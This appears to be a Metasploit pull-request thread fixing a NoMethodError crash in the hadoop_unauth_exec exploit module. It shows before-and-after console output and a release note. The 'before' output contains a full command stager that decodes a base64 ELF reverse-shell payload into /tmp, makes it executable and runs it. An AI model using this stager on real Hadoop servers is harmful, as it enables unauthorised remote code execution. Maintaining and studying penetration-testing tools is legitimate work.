Fix #12156, NoMethodError in hadoop exploit.

[Green-m]

Thanks to @wvu-r7 for this patch!
Fix #12156

Before

msf5 exploit(linux/http/hadoop_unauth_exec) > run

[*] Started reverse TCP handler on 192.168.8.100:4444
[*] Sending Command
[*] Generated command stager: ["echo -n f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAjPAAAASgEAAAcAAAAAEAAAagpeMdv341NDU2oCsGaJ4c2Al1towKgIZGgCABFcieFqZlhQUVeJ4UPNgIXAeRlOdD1oogAAAFhqAGoFieMxyc2AhcB5vesnsge5ABAAAInjwesMweMMsH3NgIXAeBBbieGZtgywA82AhcB4Av/huAEAAAC7AQAAAM2A>>'/tmp/nuCXw.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/NJTbh' < '/tmp/nuCXw.b64' ; chmod +x '/tmp/NJTbh' ; '/tmp/NJTbh' ; rm -f '/tmp/NJTbh' ; rm -f '/tmp/nuCXw.b64'"]
[-] The connection timed out (12.4.3.2:8088).
[-] Exploit failed: NoMethodError undefined method `get_json_document' for nil:NilClass
[*] Exploit completed, but no session was created.

After patch

msf5 exploit(linux/http/hadoop_unauth_exec) > run

[*] Started reverse TCP handler on 192.168.8.100:4444
[*] Sending Command
[-] Exploit aborted due to failure: not-found: Could not retrieve application-id
[*] Exploit completed, but no session was created.
msf5 exploit(linux/http/hadoop_unauth_exec) >

[wvu]

Thank you, @Green-m!

[wvu]

Release Notes

The NoMethodError crash in the exploit/linux/http/hadoop_unauth_exec module has been resolved.

[wvu]

A tiny whitespace fix in b5fd9b4.

I appreciate you, @Green-m! (Stealing @ccondon-r7's catchphrase there. ;)